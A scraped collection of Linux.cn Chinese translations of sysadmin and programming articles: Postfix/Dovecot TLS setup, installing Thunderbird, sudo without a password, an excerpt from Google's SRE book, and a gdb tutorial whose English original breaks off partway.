你需要配置 Postfix 以及 Dovecot 都使用 OpenSSL,我们将使用我们在[OpenSSL 在 Apache 和 Dovecot 下的使用(一)](/article-8167-1.html)中创建的密钥和证书。
### Postfix 配置
你必须编辑 `/etc/postfix/main.cf` 以及 `/etc/postfix/master.cf`。实例的 `main.cf` 是完整的配置,基于我们先前的教程。替换成你自己的 OpenSSL 密钥和证书名以及本地网络地址。
```
compatibility_level=2
smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu/GNU)
biff = no
append_dot_mydomain = no
myhostname = localhost
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = $myhostname
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/24
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
virtual_mailbox_domains = /etc/postfix/vhosts.txt
virtual_mailbox_base = /home/vmail
virtual_mailbox_maps = hash:/etc/postfix/vmaps.txt
virtual_minimum_uid = 1000
virtual_uid_maps = static:5000
virtual_gid_maps = static:5000
virtual_transport = lmtp:unix:private/dovecot-lmtp
smtpd_tls_cert_file=/etc/ssl/certs/test-com.pem
smtpd_tls_key_file=/etc/ssl/private/test-com.key
smtpd_use_tls=yes
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_authenticated_header = yes
```
在 `master.cf` 取消 `submission inet` 部分的注释,并编辑 `smtpd_recipient_restrictions`:
```
#submission inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o milter_macro_daemon_name=ORIGINATING
-o smtpd_recipient_restrictions=permit_mynetworks,permit_sasl_authenticated,reject
-o smtpd_tls_wrappermode=no
```
完成后重新加载 Postfix:
```
$ sudo service postfix reload
```
### Dovecot 配置
在我们以前的教程中,我们为 Dovecot 创建了一个单一配置文件 `/etc/dovecot/dovecot.conf`,而不是使用多个默认配置文件。这是一个基于我们以前的教程的完整配置。再说一次,使用你自己的 OpenSSL 密钥和证书,以及你自己的 `userdb` 的 home 文件:
```
protocols = imap pop3 lmtp
log_path = /var/log/dovecot.log
info_log_path = /var/log/dovecot-info.log
disable_plaintext_auth = no
mail_location = maildir:~/.Mail
pop3_uidl_format = %g
auth_mechanisms = plain
passdb {
driver = passwd-file
args = /etc/dovecot/passwd
}
userdb {
driver = static
args = uid=vmail gid=vmail home=/home/vmail/studio/%u
}
service lmtp {
unix_listener /var/spool/postfix/private/dovecot-lmtp {
group = postfix
mode = 0600
user = postfix
}
}
protocol lmtp {
postmaster_address = postmaster@studio
}
service lmtp {
user = vmail
}
service auth {
unix_listener /var/spool/postfix/private/auth {
mode = 0660
user=postfix
group=postfix
}
}
ssl=required
ssl_cert = </etc/ssl/certs/test-com.pem
ssl_key = </etc/ssl/private/test-com.key
```
重启 Dovecot:
```
$ sudo service postfix reload
```
### 用 telnet 测试
就像我们以前一样,现在我们可以通过使用 telnet 发送消息来测试我们的设置。 但是等等,你说 telnet 不支持 TLS/SSL,那么这样怎么办呢?首先通过使用 `openssl s_client` 打开一个加密会话。`openssl s_client` 的输出将显示你的证书及其指纹和大量其它信息,以便你知道你的服务器正在使用正确的证书。会话建立后输入的命令都是不以数字开头的:
```
$ openssl s_client -starttls smtp -connect studio:25
CONNECTED(00000003)
[masses of output snipped]
Verify return code: 0 (ok)
---
250 SMTPUTF8
EHLO studio
250-localhost
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 SMTPUTF8
mail from: <[email protected]>
250 2.1.0 Ok
rcpt to: <alrac@studio>
250 2.1.5 Ok
data
354 End data with .subject: TLS/SSL test
Hello, we are testing TLS/SSL. Looking good so far.
.
250 2.0.0 Ok: queued as B9B529FE59
quit
221 2.0.0 Bye
```
你应该可以在邮件客户端中看到一条新邮件,并在打开时要求你验证 SSL 证书。你也可以使用 `openssl s_client` 来测试 Dovecot 的 POP3 和 IMAP 服务。此示例测试加密的 POP3,第 5 号消息是我们在 telnet(如上)中创建的:
```
$ openssl s_client -connect studio:995
CONNECTED(00000003)
[masses of output snipped]
Verify return code: 0 (ok)
---
+OK Dovecot ready
user alrac@studio
+OK
pass password
+OK Logged in.
list
+OK 5 messages:
1 499
2 504
3 514
4 513
5 565
.
retr 5
+OK 565 octets
Return-Path: <[email protected]>
Delivered-To: alrac@studio
Received: from localhost
by studio.alrac.net (Dovecot) with LMTP id y8G5C8aablgKIQAAYelYQA
for <alrac@studio>; Thu, 05 Jan 2017 11:13:10 -0800
Received: from studio (localhost [127.0.0.1])
by localhost (Postfix) with ESMTPS id B9B529FE59
for <alrac@studio>; Thu, 5 Jan 2017 11:12:13 -0800 (PST)
subject: TLS/SSL test
Message-Id: <20170105191240.B9B529FE59@localhost>
Date: Thu, 5 Jan 2017 11:12:13 -0800 (PST)
From: [email protected]
Hello, we are testing TLS/SSL. Looking good so far.
.
quit
+OK Logging out.
closed
```
### 现在做什么?
现在你有一个功能良好的,具有合适的 TLS/SSL 保护的邮件服务器了。我鼓励你深入学习 Postfix 以及 Dovecot; 这些教程中的示例尽可能地简单,不包括对安全性、防病毒扫描程序、垃圾邮件过滤器或任何其他高级功能的调整。我认为当你有一个基本工作系统时更容易学习高级功能。
下周回到 openSUSE 包管理备忘录上。
### 资源
* [为 Apache 和 Dovecot 使用 OpenSSL](/article-8167-1.html)
* [如何在 Ubuntu Linux 上构建电子邮件服务器](/article-8071-1.html)
* [在 Ubuntu Linux 上构建电子邮件服务器:第2部分](/article-8077-1.html)
* [在 Ubuntu Linux 上构建电子邮件服务器:第3部分](/article-8088-1.html)
* [给初学者看的在 Ubuntu Linux 上使用 Apache](https://www.linux.com/learn/apache-ubuntu-linux-beginners)
* [给初学者看的在 Ubuntu Linux 上使用 Apache:第二部分](https://www.linux.com/learn/apache-ubuntu-linux-beginners-part-2)
* [给初学者看的在 CentOS Linux 上使用 Apache](https://www.linux.com/learn/apache-centos-linux-beginners)
* [消灭让人害怕的 web 浏览器 SSL 警告](https://www.linux.com/learn/quieting-scary-web-browser-ssl-alerts)
---
via: <https://www.linux.com/learn/intro-to-linux/openssl-apache-and-dovecot-part-2>
作者:[CARLA SCHRODER](https://www.linux.com/users/cschroder) 译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/%E6%A0%A1%E5%AF%B9%E8%80%85ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,171 | 在 Linux 中安装最新的 Thunderbird 邮件客户端 | http://www.tecmint.com/install-thunderbird-in-ubuntu-fedora-linux/ | 2017-02-03T10:06:00 | [
"Thunderbird"
] | https://linux.cn/article-8171-1.html | <ruby> 雷鸟 <rp> ( </rp> <rt> Thunderbird </rt> <rp> ) </rp></ruby>是一个开源自由的跨平台的基于 web 的电子邮件、新闻和聊天客户端应用程序,其旨在用于管理多个电子邮件帐户和新闻源。

在 2016 年 12 月 28 日,Mozilla 团队宣布 Thunderbird 45.6.0 的发布。这个新版本带有如下功能:
### Thunderbird 45.6.0 功能
1. 每次启动 Thunderbird 时都会显示系统集成对话框
2. 各种错误修复和性能改进。
3. 各种安全修复。
查看更多关于 Thunderbird 45.6.0 版本的新功能和已知问题在 [Thunderbird 发行说明](https://www.mozilla.org/en-US/thunderbird/45.6.0/releasenotes/)中有。
本文将解释如何在 Linux 发行版(如 Fedora、Ubuntu 及其衍生版)中安装 Thunderbird 邮件客户端。
在许多 Linux 发行版中,Thunderbird 包已经默认包含在内,并且可以使用默认包管理系统来安装,这样可以:
1. 确保你具有所有需要的库
2. 添加桌面快捷方式以启动 Thunderbird
3. 使 Thunderbird 可供计算机上的所有系统用户访问
4. 它可能不会为你提供最新版本的 Thunderbird
### 在 Linux 中安装 Thunderbird 邮件客户端
要从系统默认仓库中安装 Thunderbird:
```
$ sudo apt-get install thunderbird [在基于 Ubuntu 的系统中]
$ dnf install thunderbird [在基于 Fedora 的系统中]
```
如我所说,从默认仓库中安装的话将带给你的是旧版本 Thunderbird。如果要安装最新版本的 Mozilla Thunderbird,可以使用 Mozilla 团队维护的 PPA。
在 Ubuntu 及其衍生版中使用 `CTRL + ALT + T` 从桌面打开终端并添加 Thunderbird 仓库。
```
$ sudo add-apt-repository ppa:ubuntu-mozilla-security/ppa
```
接下来,使用 `apt-get update` 命令升级软件包。
```
$ sudo apt-get update
```
系统升级完成后,使用下面的命令安装。
```
$ sudo apt-get install thunderbird
```
就是这样了,你已经成功在 Linux 中安装了 Thunderbird 45.6.0。在 [Thunderbird 下载页](http://www.mozilla.org/en-US/products/thunderbird/)中 Thunderbird 还有用于其他操作系统的软件包。
---
作者简介:
我是 Ravi Saive,TecMint 的创建者。一个喜欢在互联网上分享技巧和提示的计算机 Geek 和 Linux 大师。我的大多数服务器运行在 Linux 开源平台上。在 Twitter、Facebook 和 Google+ 上关注我。
---
via: <http://www.tecmint.com/install-thunderbird-in-ubuntu-fedora-linux/>
作者:[Ravi Saive](http://www.tecmint.com/author/admin/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,172 | 如何在 Linux 中不输入密码运行 sudo 命令 | http://www.tecmint.com/run-sudo-command-without-password-linux/ | 2017-02-04T15:07:26 | [
"sudo",
"密码"
] | https://linux.cn/article-8172-1.html | 假设你在只有自己使用的计算机上运行 Linux 系统,比如在笔记本电脑上,在每次调用 **sudo** 时需要输入密码,长期下来就会觉得很乏味。因此,在本指南中,我们将描述[如何配置 sudo 命令](http://www.tecmint.com/sudoers-configurations-for-setting-sudo-in-linux/)在运行时而不输入密码。

此设置在 `/etc/sudoers` 文件中完成,这是使用 [sudo 命令](/tag-sudo.html)的默认安全策略;在用户权限指定部分。
**重要**:在 `sudeors` 文件中,默认打开的 `authenticate` 参数用于验证目的。如果设置了它,用户必须通过密码(或其他身份验证方法)进行身份验证,然后才能使用 `sudo` 运行命令。
但是,可以使用 `NOPASSWD`(当用户调用 `sudo` 命令时不需要密码)标记来覆盖此默认值。
配置用户权限的语法如下:
```
user_list host_list=effective_user_list tag_list command_list
```
其中:
1. `user_list` - 用户列表或已经设置的用户别名。
2. `host_list` - 主机列表或用户可以在其上运行 sudo 的主机别名。
3. `effective_user_list` - 以该用户或别名运行的用户列表
4. `tag_list` - 标签列表,如 `NOPASSWD`。
5. `command_list` - 用户使用 `sudo` 运行的命令或命令别名列表。
要允许用户(下面的示例中的 `aaronkilik`)使用 `sudo` 不输入密码即可运行所有命令,请打开 `sudoers` 文件:
```
$ sudo visudo
```
添加下面的行:
```
aaronkilik ALL=(ALL) NOPASSWD: ALL
```
对于组而言,在组名前面使用 `%` 字符;这意味着 `sys` 组的所有成员都可以不用密码使用 `sudo`。
```
%sys ALL=(ALL) NOPASSWD: ALL
```
要允许用户不用密码使用 `sudo` 运行指定命令(`/bin/kill`),添加下面的行:
```
aaronkilik ALL=(ALL) NOPASSWD: /bin/kill
```
下面的行会让 `sys` 组成员在使用 `sudo` 运行命令:`/bin/kill`、`/bin/rm` 时不用输入密码:
```
%sys ALL=(ALL) NOPASSWD: /bin/kill, /bin/rm
```

*不用密码运行 sudo*
对于更多的 `sudo` 配置和其他使用选项,请阅读我们有更多例子描述的文章,:
* [在 Linux 中设置 sudo 的十条 sudoers 实用配置](/article-8145-1.html)
* [让 sudo 在你输入错误的密码时“嘲讽”你](/article-8128-1.html)
* [如何在 Linux 中让 sudo 密码会话的超时更长些](/article-8151-1.html)
在本篇中,我们讨论了如何配置 sudo 命令来不用输入密码运行。不要忘记在评论栏中给我们提供你关于这份指导的想法和其他对于 Linux 系统管理员有用的 sudoers 配置。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 及 web 开发者,目前是 TecMint 的内容创作者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/run-sudo-command-without-password-linux/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,173 | 什么是 SRE(网站可靠性工程)? | https://www.oreilly.com/ideas/what-is-sre-site-reliability-engineering | 2017-02-04T17:32:48 | [
"SRE",
"DevOps"
] | https://linux.cn/article-8173-1.html |
>
> <ruby> 网站可靠性工程师 <rp> ( </rp> <rt> Site Reliability Engineer </rt> <rp> ) </rp></ruby>是近来越来越多看到的一个职位。它是什么意思?它来自哪里?让我们从 Google SRE 团队来学习。
>
>
>

本文为 Niall Richard Murphy、Jennifer Petoff、Chris Jones、Betsy Beyer 编辑的 [<ruby> 《网站可靠性工程》 <rt> Site Reliability Engineering </rt></ruby>](http://shop.oreilly.com/product/0636920041528.do?intcmp=il-webops-books-videos-update-na_new_site_site_reliability_engineering_text_cta) 一书的摘录。
SRE( <ruby> 网站可靠性工程 <rp> ( </rp> <rt> Site Reliability Engineering </rt> <rp> ) </rp></ruby>)在 [11 月 7-10 日在阿姆斯特丹举办的 O'Reilly Velocity 会议](http://conferences.oreilly.com/velocity/devops-web-performance-eu?intcmp=il-webops-confreg-update-vleu16_new_site_what_is_sre_text_cta)上也有提到。
### 介绍
>
> <ruby> 希望不是一种策略。 <rp> ( </rp> <rt> Hope is not a strategy. </rt> <rp> ) </rp></ruby>
>
>
> —— 传统的 SRE 如是说
>
>
>
一个公认的事实是系统不会自己运行。 那么,一个系统 — 尤其是复杂大规模系统 — *应该*怎么运行呢?
### 系统管理员的服务管理方法
以前,公司雇用系统管理员来运行复杂的计算系统。
系统管理员(或者称为 sysadmin)这种方式包括整合现有软件组件,使之互相协作来完成一个服务。系统管理员的任务是运行服务,响应事件,并在事件发生时进行更新。随着系统复杂度的增长和流量的增长,事件和更新也相应增长,导致管理员团队也越来越庞大才能完成更多的工作。由于系统管理员的角色需要的技能与产品开发人员有很大不同,开发和系统管理员被分为不同的团队:“开发”和“运维”。
系统管理员模式的服务管理有几个优点。对于决定该如何运行和服务的公司而言,这种方法相对容易实现:它作为一个已被人们所熟悉的行业范例,有很多例子可以从中学习和效仿。相关人才库已经广泛普及。有一系列现有的工具,软件组件(现成的或其他)和集成公司可用于帮助运行这些组装的系统,所以新手系统管理团队不必重新发明轮子以及从头设计系统。
此方式将公司开发和运维分离,也有一些缺点和困难。主要有两类:直接代价和间接代价。
直接代价很显而易见了。利用依靠手工干预来进行变更管理和事件处理的团队进行服务管理,当服务和/或流量增长时,成本是很昂贵的,因为团队随着系统负载的增长也在相应增长。
开发/运维分离的间接代价可能不那么明显,但常常比直接代价还要昂贵。代价来自于两个团队背景,技术,激励都非常不同。他们使用不同的词汇来描述所面临的情境;对技术方案的风险和可能性他们持不同的假设;对产品稳定性的目标级别也会有不同的争议。团队的分离很容易导致不只是激励的不同,还有沟通、目标的不同,以及最终,信任和尊重的分离。这是一种恶性循环。
因此,传统运营团队及其在产品开发中的同行往往会发生冲突,最突出的是如何将软件发布到生产环境。在开发团队的核心上,他们希望推出新功能,并看到它们被用户采纳。在运维团队的核心上, 他们希望确保服务在运行中不会中断。因为大多数中断是由某种变化引起的 - 新的配置、新的功能发布或者新的用户流量类型 - 这两个团队的目标基本上处于紧张状态。
两个团队都明白,以最想要的条款(“我们可以没有阻碍地在任何时间发布任何东西”以及“我们不想在系统工作后改变任何东西”)来表达他们的利益是不可接受的。因为他们的词汇和风险假设都不同,两个团体经常采用常见的斗争形式来提高他们的利益。 运维团队试图通过提高发布和变更门槛来保护运行中的系统免受更改的风险。例如,发布审查可能包含对*每个*问题的显式审查,这些问题过去都*曾经*引起过服务中断 - 它可能是一个任意长度的列表,并且不是所有检查元素都一样重要。开发团队很快学会了如何回应。他们通过较少的“发布”和更多的“功能切换”、“增量更新”或 “选择性失明”来规避。他们采取诸如分割产品功能的策略,以便更少的功能受到发布审查。
### Google 的服务管理方法:网站可靠性工程
冲突不是提供软件服务的必然部分。Google 选择以不同的方式运行自己的系统:我们的网站可靠性工程团队专注于雇佣软件工程师来运行我们的产品,并创建系统来完成那些本来由系统工程师手动完成的工作。
什么是<ruby> 网站可靠性工程 <rp> ( </rp> <rt> Site Reliability Engineering </rt> <rp> ) </rp></ruby>,是如它在谷歌定义的那样么?我的解释很简单:SRE 是当你要求一位软件工程师设计一个运维团队时所发生的结果。当我在 2003 年加入 Google 并负责运行一个由 7 名工程师组成的“生产团队”时,那时我工作的全部都是软件工程。所以我以自己是一名 SRE 的方式,设计和管理了一个*我*想要的团队的样子。这个团队已经成为了 Google 的目前的 SRE 团队,它仍如最初一名终生软件工程师所想象的那个样子。
Google 服务管理方法的主要构成部分是由每个 SRE 团队组成的。作为一个整体,SRE 可以分为两大类。
50-60% 的人是 Google 软件工程师,或者更确切地说,是通过 Google 软件工程师的标准程序招聘的人。其他 40-50% 的候选人非常接近 Google 软件工程师资格(即拥有所需技能集的 85-99%),以及一些具有大多数软件工程师没有的一些 SRE 技术技能的人。到目前为止,UNIX 系统底层和网络(第 1 层到第 3 层)的专业知识是我们寻求的两种最常见的替代技术技能。
所有的 SRE 的共同点是有开发软件系统以解决复杂问题的信念和能力。在 SRE 中,我们密切跟踪两个团队的职业发展,并且迄今为止发现在两种工程师之间的表现没有实际差异。事实上,SRE 团队的多样性背景经常产生聪明、高质量的系统,这显然是几个技能集合成的产物。
我们这样招聘 SRE 的结果是,我们有了这样一个团队:(a)手动执行任务很快会变得无聊。(b)他们有必要的技能集来写出软件以取代以前的手动操作,即使解决方案很复杂。SRE 还会与其他开发部门分享学术以及知识背景。因此,SRE 从根本上做了一个运维团队历来做的工作,但它使用具有软件专业知识的工程师,并期望这些内在倾向于使用软件并且有能力用软件的人用软件设计并实现自动化来代替人力劳动。
按照设计,至关重要的是 SRE 团队专注于工程。没有恒定的工程,运维工作增加,团队将需要更多的人来上工作量。最终,传统的以运维为中心的团队与服务规模呈线性关系:如果服务支持的产品成功,运维工作将随着流量而增长。这意味着雇用更多的人一遍又一遍地完成相同的任务。
为了避免这种命运,负责管理服务的团队需要写代码,否则就会被工作淹没。因此,Google 为 SRE 们*设置了一个 “运维” 工作的上限,如任务单、紧急呼叫、手动任务最多只占 50% 工作量*。此上限确保 SRE 团队在其计划中有足够的时间使服务稳定及可操作。50% 是上限;随着时间的推移,除了自己的设备,SRE 团队应该只有很少的运维工作,他们几乎可以完全从事开发任务,因为服务基本上可以运行和维修自己:我们想要的系统是*自动的*,而不只是*自动化*。在实践中,规模和新功能始终是 SRE 要考虑的。
Google 的经验法则是,SRE 团队必须花费剩余的 50% 的时间来进行实际开发。那么我们该如何执行这个阈值呢?首先,我们必须测量 SRE 如何花费时间。通过测量,我们确保团队不断花费不到 50% 的时间用于开发改变他们实践的工作上。通常这意味着会将一些运维负担转移回开发团队,或者给团队添加新的员工,而不指派该团队额外的运维责任。意识到在运维和开发工作之间保持这种平衡使我们能保证 SRE 具有参与创造性的自主工程的空间,同时仍然保留从运维那学来的智慧。
我们发现 Google SRE 的运行大规模系统的方法有很多优点。由于 SRE 是直接修改代码以使 Google 的系统可以运行自己,SRE 团队的特点是快速创新以及大量接受变革。这样的团队能相对价廉地支持相同的服务,面向运维的团队需要大量的人。相反,运行、维护和改进系统所需的 SRE 的数量随系统的大小而线性收敛。最后,SRE 不仅规避了开发/运维分裂的障碍,而且这种结构也改善了我们的产品开发团队:产品开发和 SRE 团队之间的轻松转移交叉训练了整个团队,并且提高了那些在学习构建百万级别分布式系统上有困难的开发人员的技能。
尽管有这些好处,SRE 模型的特点是其自身独特的挑战。 Google 面临的一个持续挑战是招聘 SRE:SRE 不仅与产品开发招聘流程竞争相同的候选人,而且我们将招聘人员的编码和系统工程技能都设置得如此之高,这意味着我们的招聘池必然很小。由于我们的学科相对新颖独特,在如何建立和管理 SRE 团队方面没有太多的行业信息(不过希望这本书能朝着这个方向迈进!)。一旦 SRE 团队到位,他们潜在的非正统的服务管理方法需要强有力的管理支持。例如,一旦错误预估耗尽,除非是管理层的强制要求, 否则在季度剩余的时间里决定停止发布可能不会被产品开发团队所接受。
>
> **DevOps 或者 SRE?**
>
>
> “DevOps” 这个术语在 2008 年末出现,并在写这篇文章时(2016 年早期)仍在发生变动。 其核心原则:IT 部门在系统设计和开发的每个阶段的参与、严重依赖自动化与人力投入、工程实践和工具在操作任务中的应用,与许多 SRE 的原则和实践一致。 人们可以将 DevOps 视为几种核心 SRE原则向更广泛的组织,管理结构和人员的推广。 可以等价地将 SRE 视为具有某些特殊扩展的 DevOps 的特定实现。
>
>
>
---
作者简介:Benjamin Treynor Sloss 创造了“<ruby> 网站可靠性工程 <rp> ( </rp> <rt> Site Reliability Engineering </rt> <rp> ) </rp></ruby>”一词,他自 2003 年以来一直负责 Google 的全球运营、网络和生产工程。截至 2016 年,他管理着全球范围内一个大约 4000 名软硬件和网络工程师团队。
---
via: <https://www.oreilly.com/ideas/what-is-sre-site-reliability-engineering>
作者:[Benjamin Treynor](https://www.oreilly.com/people/benjamin-treynor-sloss) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,174 | 在 Linux 中如何使用 gdb 调试 C 程序 | https://www.howtoforge.com/tutorial/how-to-debug-c-programs-in-linux-using-gdb/ | 2017-02-04T17:56:58 | [
"gcc",
"gdb"
] | https://linux.cn/article-8174-1.html | 无论多么有经验的程序员,开发的任何软件都不可能完全没有 bug。因此,排查及修复 bug 成为软件开发周期中最重要的任务之一。有许多办法可以排查 bug(测试、代码自审等等),但是还有一些专用软件(称为调试器)可以帮助准确定位问题的所在,以便进行修复。
如果你是 C/C++ 程序员,或者使用 Fortran 和 Modula-2 编程语言开发软件,那么你将会很乐意知道有这么一款优秀的调试器 - [GDB](https://www.sourceware.org/gdb/) - 可以帮你更轻松地调试代码 bug 以及其它问题。在这篇文章中,我们将讨论一下 GDB 调试器的基础知识,包括它提供的一些有用的功能/选项。

在我们开始之前,值得一提的是,文章中的所有说明和示例都已经在 Ubuntu 14.04 LTS 中测试过。教程中的示例代码都是 C 语言写的;使用的 shell 为 bash(4.3.11);GDB 版本为 7.7.1。
### GDB 调试器基础
通俗的讲,GDB 可以让你看到程序在执行过程时的内部流程,并帮你明确问题的所在。我们将在下一节通过一个有效的示例来讨论 GDB 调试器的用法,但在此之前,我们先来探讨一些之后对你有帮助的基本要点。
首先,为了能够顺利使用类似 GDB 这样的调试器,你必须以指定的方式编译程序,让编译器产生调试器所需的调试信息。例如,在使用 gcc 编译器(我们将在本教程之后的章节用它来编译 C 程序示例)编译代码的时候,你需要使用 `-g` 命令行选项。
想要了解 gcc 编译器手册页中关于 `-g` 命令行选项相关的内容,请看[这里](https://linux.die.net/man/1/gcc)。
下一步,确保在你的系统中已经安装 GDB 调试器。如果没有安装,而且你使用的是基于 Debian 的系统(如 Ubuntu),那么你就可以使用以下命令轻松安装该工具:
```
sudo apt-get install gdb
```
在其他发行版上的安装方法,请看[这里](https://www.sourceware.org/gdb/download/)。
现在,当你按照上述的方式编译完程序(gcc `-g` 命令行选项),同时也已经安装好 GDB 调试器,那么你就可以使用以下命令让程序在调试模式中运行:
```
gdb [可执行程序的名称]
```
这样做会初始化 GDB 调试器,但你的可执行程序此时还不会被启动。在这个时候你就可以定义调试相关的设置。例如,你可以在特定行或函数中设置一个断点让 GDB 在该行暂停程序的执行。
接着,为了启动你的程序,你必须输入执行以下 gdb 命令:
```
run
```
在这里,值得一提的是,如果你的程序需要一些命令行参数,那么你可以在这里指定这些参数。例如:
```
run [参数]
```
GDB 提供了很多有用的命令,在调试的时候总是能派的上用场。我们将在下一节讨论其中一部分命令。
### GDB 调试器用例
现在我们对 GDB 及其用法有了基本的概念。因此,让我们举例来应用所学的知识。这是一段示例代码:
```
#include <stdio.h>
int main()
{
int out = 0, tot = 0, cnt = 0;
int val[] = {5, 54, 76, 91, 35, 27, 45, 15, 99, 0};
while(cnt < 10)
{
out = val[cnt];
tot = tot + 0xffffffff/out;
cnt++;
}
printf("\n Total = [%d]\n", tot);
return 0;
}
```
简单说明一下这段代码要做什么事。获取 `val` 数组中每一个值,将其赋值给 `out` 变量,然后将 `tot` 之前的值与 `0xffffffff/out` 的结果值累加,赋值给 `tot` 变量。
这里遇到的问题是,当执行这段代码编译后的可执行程序时,产生以下错误:
```
$ ./gdb-test
Floating point exception (core dumped)
```
因此,要调试这段代码,第一步是使用 `-g` 选项编译程序。命令如下:
```
gcc -g -Wall gdb-test.c -o gdb-test
```
接着,让我们运行 GDB 调试器并指定要调试的可执行程序。命令如下:
```
gdb ./gdb-test
```
现在,我刚才得到的错误是 `Floating point exception`,大部分人可能已经知道,这是因为 `n % x`,当 x 为 0 时导致的错误。所以,考虑到这一点,我在 11 行代码除法运算的位置处添加了一个断点。如下:
```
(gdb)&;break 11
```
注意 `(gdb)` 是调试器的提示信息,我只输入了 `break 11` 命令。
现在,让 GDB 开始运行程序:
```
run
```
当断点第一次被命中时,GDB 显示如下输出:
```
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb)
```
正如你所看到的那样,调试器会显示断点所在的行代码。现在,让我们打印出此时 `out` 的值。如下:
```
(gdb) print out
$1 = 5
(gdb)
```
如上所示,值 `5` 被打印出来了。这个时候一切都还是正常的。让调试器继续执行程序直到命中下一个断点,可以通过使用 `c` 命令来完成:
```
c
```
重复上述操作,直到 `out` 值变为 `0` 时。
```
...
...
...
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb) print out
$2 = 99
(gdb) c
Continuing.
Breakpoint 1, main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
(gdb) print out
$3 = 0
(gdb)
```
现在,为了进一步确认问题,我使用 GDB 的 `s`(或 `step`) 命令代替 `c` 命令。因为,我只想让当前程序在第 11 行之后暂停,再一步步执行,看看这个时候是否会发生崩溃。
以下是执行之后输出信息:
```
(gdb) s
Program received signal SIGFPE, Arithmetic exception.
0x080484aa in main () at gdb-test.c:11
11 tot = tot + 0xffffffff/out;
```
是的,如上输出的第一行内容所示,这就是抛出异常的地方。当我再次尝试运行 `s` 命令时,问题最终也得到了确认:
```
(gdb) s
Program terminated with signal SIGFPE, Arithmetic exception.
The program no longer exists.
```
通过这种方式,你就可以使用 GDB 调试你的程序。
### 总结
GDB 提供了很多功能供用户研究和使用,在这里,我们仅仅只介绍了很少一部分内容。通过 GDB 的手册页可以进一步了解这个工具,当你在调试代码的时候,尝试使用一下它。GDB 调试器有一定的学习难度,但是它很值得你下功夫学习。
---
via: <https://www.howtoforge.com/tutorial/how-to-debug-c-programs-in-linux-using-gdb/>
作者:[Ansh](https://www.howtoforge.com/tutorial/how-to-debug-c-programs-in-linux-using-gdb/) 译者:[zhb127](https://github.com/zhb127) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | # How to Debug C Programs in Linux using gdb
### On this page
No matter how experienced you are as a programmer, any software you develop cannot be completely free of bugs. That's why identifying bugs and fixing them is one of the most important tasks in the software development cycle. While there are many ways to find bugs (testing, self-checking code, etc.), there is also special software - called debuggers - that helps you understand exactly where the problem is so you can easily fix it.
Assuming you are a C/C++ programmer or develop software using the Fortran and Modula-2 programming languages, in this case you will be glad to know that there is an excellent debugger - called GDB - that you can use to easily check your code for errors and other problems. In this article we will discuss the basics of GDB and some of its useful features/options.
## GDB debugger basics
In layman's terms, GDB lets you peek inside a program while the program is executing, something that lets you help identify where exactly the problem is. We'll discuss the usage of the GDB debugger through a working example in the next section, but before that, here, we'll discuss a few basic points that'll help you later on.
Firstly, to successfully use debuggers like GDB, you have to compile your program so that the compiler also produces debugging information that debuggers require. For example, in case of the gcc compiler, which we'll be using to compile the example C program later in this tutorial, you need to use the *-g* command line option while compiling your code.
To know what the gcc compiler's manual page says about this command line option, head [here](https://linux.die.net/man/1/gcc).
Next step is to make sure that you have GDB installed on your system. If that's not the case, and you're on a Debian-based system like Ubuntu, you can easily install the tool using the following command:
sudo apt install gdb
For installation on any other distro, head [here](https://www.sourceware.org/gdb/download/).
Now, once you've compiled your program in a way that it's debugging-ready, and GDB is there on your system, you can execute your program in debugging mode using the following command:
gdb [prog-executable-name]
While this will initiate the GDB debugger, your program executable won't be launched at this point. This is the time when you can define your debugging-related settings. For example, you can define a breakpoint that tells GDB to pause the program execution at a particular line number or function.
Moving on, to launch your program, you'll have to execute the following gdb command:
run
It's worth mentioning that if your program requires some command line arguments to be passed, you can specify them here. For example:
run [arguments]
GDB provides many useful commands that come in handy while debugging. We'll discuss some of them in the example in next section.
## GDB usage example
Now we have a basic idea about GDB as well as its usage. So let's take an example and apply the knowledge there. Here's an example code:
#include <stdio.h>
int main()
{
int out = 0, tot = 0, cnt = 0;
int val[] = {5, 54, 76, 91, 35, 27, 45, 15, 99, 0};
while(cnt < 10)
{
out = val[cnt];
tot = tot + 0xffffffff/out;
cnt++;
}
printf("\n Total = [%d]\n", tot);
return 0;
}
So basically, what this code does is, it picks each value contained in the 'val' array, assigns it to the 'out' integer, and then calculates 'tot' by summing up the variable's previous value and the result of '0xffffffff/out.'
The problem here is that when the code is run, it produces the following error:
$ ./gdb-test
